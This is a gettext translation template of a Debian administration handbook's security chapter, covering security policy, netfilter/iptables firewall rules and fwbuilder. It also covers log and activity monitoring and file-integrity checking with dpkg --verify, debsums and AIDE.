14_security.po

msgid ""
msgstr ""
"Project-Id-Version: 0\n"
"POT-Creation-Date: 2015-10-06 16:10+0200\n"
"PO-Revision-Date: 2015-10-06 16:10+0200\n"
"Last-Translator: Automatically generated\n"
"Language-Team: None\n"
"Language: en-US \n"
"MIME-Version: 1.0\n"
"Content-Type: application/x-publican; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Publican v4.3.2\n"

msgid "Firewall"
msgstr ""

msgid "Netfilter"
msgstr ""

msgid "IDS/NIDS"
msgstr ""

msgid "Security"
msgstr ""

msgid "An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”."
msgstr ""

msgid "Defining a Security Policy"
msgstr ""

msgid "<emphasis>CAUTION</emphasis> Scope of this chapter"
msgstr ""

msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject. An excellent starting point would be <citetitle>Linux Server Security</citetitle> by Michael D. Bauer (published by O'Reilly)."
msgstr ""

msgid "The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security."
msgstr ""

msgid "The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:"
msgstr ""

msgid "<emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data."
msgstr ""

msgid "What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?"
msgstr ""

msgid "Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group."
msgstr ""

msgid "The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions."
msgstr ""

msgid "<emphasis>NOTE</emphasis> Permanent questioning"
msgstr ""

msgid "Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly."
msgstr ""

msgid "Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation."
msgstr ""

msgid "Once the risk has been modeled, one can start thinking about designing an actual security policy."
msgstr ""

msgid "<emphasis>NOTE</emphasis> Extreme policies"
msgstr ""

msgid "There are cases where the choice of actions required to secure a system is extremely simple."
msgstr ""

msgid "For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach."
msgstr ""

msgid "At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…"
msgstr ""

msgid "Extreme though these examples may seem, they would nevertheless be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgstr ""

msgid "In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel."
msgstr ""

msgid "Firewall or Packet Filtering"
msgstr ""

msgid "<primary>firewall</primary>"
msgstr ""

msgid "<primary>packet filter</primary>"
msgstr ""

msgid "<emphasis>BACK TO BASICS</emphasis> Firewall"
msgstr ""

msgid "<primary>packet</primary><secondary>IP</secondary>"
msgstr ""

msgid "A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions."
msgstr ""

msgid "A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets."
msgstr ""

msgid "The lack of a standard configuration (and the “process, not product” motto) explains the lack of a turn-key solution. There are, however, tools that make it simpler to configure the <emphasis>netfilter</emphasis> firewall, with a graphical representation of the filtering rules. <command>fwbuilder</command> is undoubtedly among the best of them."
msgstr ""

msgid "<primary><emphasis>netfilter</emphasis></primary>"
msgstr ""

msgid "<emphasis>SPECIFIC CASE</emphasis> Local Firewall"
msgstr ""

msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services, or possibly to prevent outgoing connections by rogue software that a user could, willingly or not, have installed."
msgstr ""

msgid "The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall. It can be controlled from user space with the <command>iptables</command> and <command>ip6tables</command> commands. The difference between these two commands is that the former acts on the IPv4 network, whereas the latter acts on IPv6. Since both network protocol stacks will probably be around for many years, both tools will need to be used in parallel."
msgstr ""

msgid "<primary><command>iptables</command></primary>"
msgstr ""

msgid "<primary><command>ip6tables</command></primary>"
msgstr ""

msgid "Netfilter Behavior"
msgstr ""

msgid "<emphasis>netfilter</emphasis> uses four distinct tables which store rules regulating three kinds of operations on packets:"
msgstr ""

msgid "<literal>filter</literal> concerns filtering rules (accepting, refusing or ignoring a packet);"
msgstr ""

msgid "<literal>nat</literal> concerns translation of source or destination addresses and ports of packages;"
msgstr ""

msgid "<literal>mangle</literal> concerns other changes to the IP packets (including the ToS — <emphasis>Type of Service</emphasis> — field and options);"
msgstr ""

msgid "<literal>raw</literal> allows other manual modifications on packets before they reach the connection tracking system."
msgstr ""

msgid "Each table contains lists of rules called <emphasis>chains</emphasis>. The firewall uses standard chains to handle packets based on predefined circumstances. The administrator can create other chains, which will only be used when referred to by one of the standard chains (either directly or indirectly)."
msgstr ""

msgid "<primary>chain</primary>"
msgstr ""

msgid "<primary>filtering rule</primary>"
msgstr ""

msgid "The <literal>filter</literal> table has three standard chains:"
msgstr ""

msgid "<literal>INPUT</literal>: concerns packets whose destination is the firewall itself;"
msgstr ""

msgid "<literal>OUTPUT</literal>: concerns packets emitted by the firewall;"
msgstr ""

msgid "<literal>FORWARD</literal>: concerns packets transiting through the firewall (which is neither their source nor their destination)."
msgstr ""

msgid "The <literal>nat</literal> table also has three standard chains:"
msgstr ""

msgid "<literal>PREROUTING</literal>: to modify packets as soon as they arrive;"
msgstr ""

msgid "<literal>POSTROUTING</literal>: to modify packets when they are ready to go on their way;"
msgstr ""

msgid "<literal>OUTPUT</literal>: to modify packets generated by the firewall itself."
msgstr ""

msgid "How <emphasis>netfilter</emphasis> chains are called"
msgstr ""

msgid "Each chain is a list of rules; each rule is a set of conditions and an action to execute when the conditions are met. When processing a packet, the firewall scans the appropriate chain, one rule after another; when the conditions for one rule are met, it “jumps” (hence the <literal>-j</literal> option in the commands) to the specified action to continue processing. The most common behaviors are standardized, and dedicated actions exist for them. Taking one of these standard actions interrupts the processing of the chain, since the packet's fate is already sealed (barring an exception mentioned below):"
msgstr ""

msgid "<emphasis>BACK TO BASICS</emphasis> ICMP"
msgstr ""

msgid "ICMP (<emphasis>Internet Control Message </emphasis>Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the <command>ping</command> command (which sends an ICMP <emphasis>echo request</emphasis> message, which the recipient is meant to answer with an ICMP <emphasis>echo reply</emphasis> message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC777 and RFC792 were soon completed and extended. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc777.html\" /> <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc792.html\" />"
msgstr ""

msgid "For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time)."
msgstr ""

msgid "<primary>ICMP</primary>"
msgstr ""

msgid "<primary>Internet Control Message Protocol</primary>"
msgstr ""

msgid "<primary>receive buffer</primary>"
msgstr ""

msgid "<primary>buffer</primary><secondary>receive buffer</secondary>"
msgstr ""

msgid "<primary><command>ping</command></primary>"
msgstr ""

msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (<emphasis>Internet Group Membership Protocol</emphasis>) and ARP (<emphasis>Address Resolution Protocol</emphasis>). ICMPv6 is defined in RFC4443. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc4443.html\" />"
msgstr ""

msgid "<literal>ACCEPT</literal>: allow the packet to go on its way;"
msgstr ""

msgid "<literal>REJECT</literal>: reject the packet with an ICMP error packet (the <literal>--reject-with <replaceable>type</replaceable></literal> option to <command>iptables</command> allows selecting the type of error);"
msgstr ""

msgid "<literal>DROP</literal>: delete (ignore) the packet;"
msgstr ""

msgid "<literal>LOG</literal>: log (via <command>syslogd</command>) a message with a description of the packet; note that this action does not interrupt processing, and the execution of the chain continues at the next rule, which is why logging refused packets requires both a LOG and a REJECT/DROP rule;"
msgstr ""

msgid "<literal>ULOG</literal>: log a message via <command>ulogd</command>, which can be better adapted and more efficient than <command>syslogd</command> for handling large numbers of messages; note that this action, like LOG, also returns processing to the next rule in the calling chain;"
msgstr ""

msgid "<replaceable>chain_name</replaceable>: jump to the given chain and evaluate its rules;"
msgstr ""

msgid "<literal>RETURN</literal>: interrupt processing of the current chain, and return to the calling chain; in case the current chain is a standard one, there's no calling chain, so the default action (defined with the <literal>-P</literal> option to <command>iptables</command>) is executed instead;"
msgstr ""

msgid "<literal>SNAT</literal> (only in the <literal>nat</literal> table): apply <emphasis>Source NAT</emphasis> (extra options describe the exact changes to apply);"
msgstr ""

msgid "<literal>DNAT</literal> (only in the <literal>nat</literal> table): apply <emphasis>Destination NAT</emphasis> (extra options describe the exact changes to apply);"
msgstr ""

msgid "<literal>MASQUERADE</literal> (only in the <literal>nat</literal> table): apply <emphasis>masquerading</emphasis> (a special case of <emphasis>Source NAT</emphasis>);"
msgstr ""

msgid "<literal>REDIRECT</literal> (only in the <literal>nat</literal> table): redirect a packet to a given port of the firewall itself; this can be used to set up a transparent web proxy that works with no configuration on the client side, since the client thinks it connects to the recipient whereas the communications actually go through the proxy."
msgstr ""

msgid "Other actions, particularly those concerning the <literal>mangle</literal> table, are outside the scope of this text. The <citerefentry><refentrytitle>iptables</refentrytitle> <manvolnum>8</manvolnum></citerefentry> and <citerefentry><refentrytitle>ip6tables</refentrytitle> <manvolnum>8</manvolnum></citerefentry> have a comprehensive list."
msgstr ""

msgid "Syntax of <command>iptables</command> and <command>ip6tables</command>"
msgstr ""

msgid "The <command>iptables</command> and <command>ip6tables</command> commands allow manipulating tables, chains and rules. Their <literal>-t <replaceable>table</replaceable></literal> option indicates which table to operate on (by default, <literal>filter</literal>)."
msgstr ""

msgid "Commands"
msgstr ""

msgid "The <literal>-N <replaceable>chain</replaceable></literal> option creates a new chain. The <literal>-X <replaceable>chain</replaceable></literal> deletes an empty and unused chain. The <literal>-A <replaceable>chain</replaceable> <replaceable>rule</replaceable></literal> adds a rule at the end of the given chain. The <literal>-I <replaceable>chain</replaceable> <replaceable>rule_num</replaceable> <replaceable>rule</replaceable></literal> option inserts a rule before the rule number <replaceable>rule_num</replaceable>. The <literal>-D <replaceable>chain</replaceable> <replaceable>rule_num</replaceable></literal> (or <literal>-D <replaceable>chain</replaceable> <replaceable>rule</replaceable></literal>) option deletes a rule in a chain; the first syntax identifies the rule to be deleted by its number, while the latter identifies it by its contents. The <literal>-F <replaceable>chain</replaceable></literal> option flushes a chain (deletes all its rules); if no chain is mentioned, all the rules in the table are deleted. The <literal>-L <replaceable>chain</replaceable></literal> option lists the rules in the chain. Finally, the <literal>-P <replaceable>chain</replaceable> <replaceable>action</replaceable></literal> option defines the default action, or “policy”, for a given chain; note that only standard chains can have such a policy."
msgstr ""

msgid "Rules"
msgstr ""

msgid "Each rule is expressed as <literal><replaceable>conditions</replaceable> -j <replaceable>action</replaceable> <replaceable>action_options</replaceable></literal>. If several conditions are described in the same rule, then the criterion is the conjunction (logical <emphasis>and</emphasis>) of the conditions, which is at least as restrictive as each individual condition."
msgstr ""

msgid "The <literal>-p <replaceable>protocol</replaceable></literal> condition matches the protocol field of the IP packet. The most common values are <literal>tcp</literal>, <literal>udp</literal>, <literal>icmp</literal>, and <literal>icmpv6</literal>. Prefixing the condition with an exclamation mark negates the condition, which then becomes a match for “any packets with a different protocol than the specified one”. This negation mechanism is not specific to the <literal>-p</literal> option and it can be applied to all other conditions too."
msgstr ""

msgid "The <literal>-s <replaceable>address</replaceable></literal> or <literal>-s <replaceable>network/mask</replaceable></literal> condition matches the source address of the packet. Correspondingly, <literal>-d <replaceable>address</replaceable></literal> or <literal>-d <replaceable>network/mask</replaceable></literal> matches the destination address."
msgstr ""

msgid "The <literal>-i <replaceable>interface</replaceable></literal> condition selects packets coming from the given network interface. <literal>-o <replaceable>interface</replaceable></literal> selects packets going out on a specific interface."
msgstr ""

msgid "There are more specific conditions, depending on the generic conditions described above. For instance, the <literal>-p tcp</literal> condition can be complemented with conditions on the TCP ports, with clauses such as <literal>--source-port <replaceable>port</replaceable></literal> and <literal>--destination-port <replaceable>port</replaceable></literal>."
msgstr ""

msgid "The <literal>--state <replaceable>state</replaceable></literal> condition matches the state of a packet in a connection (this requires the <command>ipt_conntrack</command> kernel module, for connection tracking). The <literal>NEW</literal> state describes a packet starting a new connection; <literal>ESTABLISHED</literal> matches packets belonging to an already existing connection, and <literal>RELATED</literal> matches packets initiating a new connection related to an existing one (which is useful for the <literal>ftp-data</literal> connections in the “active” mode of the FTP protocol)."
msgstr ""

msgid "The previous section lists available actions, but not their respective options. The <literal>LOG</literal> action, for instance, has the following options:"
msgstr ""

msgid "<literal>--log-level</literal>, with default value <literal>warning</literal>, indicates the <command>syslog</command> severity level;"
msgstr ""

msgid "<literal>--log-prefix</literal> allows specifying a text prefix to differentiate between logged messages;"
msgstr ""

msgid "<literal>--log-tcp-sequence</literal>, <literal>--log-tcp-options</literal> and <literal>--log-ip-options</literal> indicate extra data to be integrated into the message: respectively, the TCP sequence number, TCP options, and IP options."
msgstr ""

msgid "The <literal>DNAT</literal> action provides the <literal>--to-destination <replaceable>address</replaceable>:<replaceable>port</replaceable></literal> option to indicate the new destination IP address and/or port. Similarly, <literal>SNAT</literal> provides <literal>--to-source <replaceable>address</replaceable>:<replaceable>port</replaceable></literal> to indicate the new source IP address and/or port."
msgstr ""

msgid "The <literal>REDIRECT</literal> action (only available if NAT is available) provides the <literal>--to-ports <replaceable>port(s)</replaceable></literal> option to indicate the port, or port range, where the packets should be redirected."
msgstr ""

msgid "Creating Rules"
msgstr ""

msgid "Each rule creation requires one invocation of <command>iptables</command>/<command>ip6tables</command>. Typing these commands manually can be tedious, so the calls are usually stored in a script so that the same configuration is set up automatically every time the machine boots. This script can be written by hand, but it can also be interesting to prepare it with a high-level tool such as <command>fwbuilder</command>."
msgstr ""

msgid "\n"
"<computeroutput># </computeroutput><userinput>apt install fwbuilder</userinput>"
msgstr ""

msgid "The principle is simple. In the first step, one needs to describe all the elements that will be involved in the actual rules:"
msgstr ""

msgid "the firewall itself, with its network interfaces;"
msgstr ""

msgid "the networks, with their corresponding IP ranges;"
msgstr ""

msgid "the servers;"
msgstr ""

msgid "the ports belonging to the services hosted on the servers."
msgstr ""

msgid "The rules are then created with simple drag-and-drop actions on the objects. A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured."
msgstr ""

msgid "As far as IPv6 is concerned, one can either create two distinct rulesets for IPv4 and IPv6, or create only one and let <command>fwbuilder</command> translate the rules according to the addresses assigned to the objects."
msgstr ""

msgid "Fwbuilder's main window"
msgstr ""

msgid "<primary><command>fwbuilder</command></primary>"
msgstr ""

msgid "<command>fwbuilder</command> can then generate a script configuring the firewall according to the rules that have been defined. Its modular architecture gives it the ability to generate scripts targeting different systems (<command>iptables</command> for Linux, <command>ipf</command> for FreeBSD and <command>pf</command> for OpenBSD)."
msgstr ""

msgid "Installing the Rules at Each Boot"
msgstr ""

msgid "In other cases, the recommended way is to register the configuration script in an <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>."
msgstr ""

msgid "<filename>interfaces</filename> file calling firewall script"
msgstr ""

msgid ""
"auto eth0\n"
"iface eth0 inet static\n"
"    address 192.168.0.1\n"
"    network 192.168.0.0\n"
"    netmask 255.255.255.0\n"
"    broadcast 192.168.0.255\n"
"    up /usr/local/etc/arrakis.fw"
msgstr ""

msgid "This obviously assumes that you are using <emphasis role=\"pkg\">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up."
msgstr ""

msgid "Supervision: Prevention, Detection, Deterrence"
msgstr ""

msgid "<primary>monitoring</primary>"
msgstr ""

msgid "Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend=\"sect.monitoring\" />."
msgstr ""

msgid "Monitoring Logs with <command>logcheck</command>"
msgstr ""

msgid "<primary><command>logcheck</command></primary>"
msgstr ""

msgid "<primary>logs</primary><secondary>monitoring</secondary>"
msgstr ""

msgid "<primary>monitoring</primary><secondary>log files</secondary>"
msgstr ""

msgid "The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis."
msgstr ""

msgid "The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled."
msgstr ""

msgid "<command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages)."
msgstr ""

msgid "In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read."
msgstr ""

msgid "The applied rules can be split into several types:"
msgstr ""

msgid "those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);"
msgstr ""

msgid "those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);"
msgstr ""

msgid "those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);"
msgstr ""

msgid "those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);"
msgstr ""

msgid "finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>)."
msgstr ""

msgid "<emphasis>CAUTION</emphasis> Ignoring a message"
msgstr ""

msgid "Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file."
msgstr ""

msgid "A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode."
msgstr ""

msgid "Monitoring Activity"
msgstr ""

msgid "<primary>monitoring</primary><secondary>activity</secondary>"
msgstr ""

msgid "<primary>activity, monitoring</primary>"
msgstr ""

msgid "In Real Time"
msgstr ""

msgid "<command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority."
msgstr ""

msgid "<primary><command>top</command></primary>"
msgstr ""

msgid "When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it's probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgstr ""

msgid "<command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits."
msgstr ""

msgid "The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features."
msgstr ""

msgid "<primary><command>gnome-system-monitor</command></primary>"
msgstr ""

msgid "History"
msgstr ""

msgid "<primary>activity, history</primary>"
msgstr ""

msgid "Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used."
msgstr ""

msgid "<primary>SNMP</primary>"
msgstr ""

msgid "<primary>Simple Network Management Protocol</primary>"
msgstr ""

msgid "There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches."
msgstr ""

msgid "This book deals with Munin in some detail (see <xref linkend=\"sect.munin\" />) as part of <xref linkend=\"advanced-administration\" xrefstyle=\"select: label quotedtitle\" />. Debian also provides a similar tool, <emphasis role=\"pkg\">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/index.html</filename>) should be considered a prerequisite."
msgstr ""

msgid "<emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>"
msgstr ""

msgid "<primary><command>mrtg</command></primary>"
msgstr ""

msgid "<command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on."
msgstr ""

msgid "The <emphasis role=\"pkg\">mrtg-contrib</emphasis> and <emphasis role=\"pkg\">mrtgutils</emphasis> packages contain example scripts that can be used directly."
msgstr ""

msgid "Detecting Changes"
msgstr ""

msgid "Once the system is installed and configured, and barring security upgrades, there's usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgstr ""

msgid "Auditing Packages with <command>dpkg --verify</command>"
msgstr ""

msgid "<primary><command>dpkg</command></primary><secondary><command>dpkg --verify</command></secondary>"
msgstr ""

msgid "<emphasis>GOING FURTHER</emphasis> Protecting against upstream changes"
msgstr ""

msgid "<command>dpkg --verify</command> is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see <xref linkend=\"sect.package-authentication\" />), and taking care to only install packages from a certified origin."
msgstr ""

msgid "<command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files."
msgstr ""

msgid "<emphasis>BACK TO BASICS</emphasis> File fingerprint"
msgstr ""

msgid "<primary>fingerprint</primary>"
msgstr ""

msgid "<primary>control sum</primary>"
msgstr ""

msgid "<primary>MD5</primary>"
msgstr ""

msgid "<primary>SHA1</primary>"
msgstr ""

msgid "As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm (MD5 or SHA1 being well-known examples) that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task."
msgstr ""

msgid "Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a \"5\" on the third character (when it fails)."
msgstr ""

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>dpkg -V</userinput>\n"
"<computeroutput>??5??????   /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster</computeroutput>"
msgstr ""

msgid "In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate <filename>/etc/systemd/system/ssh.service</filename> override (which would be stored below <filename>/etc</filename> like any configuration change should be). It also lists multiple configuration files (identified by the \"c\" letter on the second field) that had been legitimately modified."
msgstr ""

msgid "Auditing Packages: <command>debsums</command> and its Limits"
msgstr ""

msgid "<primary><command>debsums</command></primary>"
msgstr ""

msgid "<command>debsums</command> is the ancestor of <command>dpkg -V</command> and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar work-arounds)."
msgstr ""

msgid "Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis."
msgstr ""

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`</userinput>\n"
"<computeroutput>[ ... ]\n"
"# </computeroutput><userinput>debsums -p /var/cache/apt/archives --generate=all</userinput>"
msgstr ""

msgid "Note that this example uses the <command>grep-status</command> command from the <emphasis role=\"pkg\">dctrl-tools</emphasis> package, which is not installed by default."
msgstr ""

msgid "Monitoring Files: AIDE"
msgstr ""

msgid "<primary><emphasis role=\"pkg\">aide</emphasis> (Debian package)</primary>"
msgstr ""

msgid "The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email."
msgstr ""

msgid "<emphasis>IN PRACTICE</emphasis> Protecting the database"
msgstr ""

msgid "Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media."
msgstr ""

msgid "Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role=\"pkg\">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended."
msgstr ""

msgid "A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database."
msgstr ""

msgid "<emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain"
msgstr ""

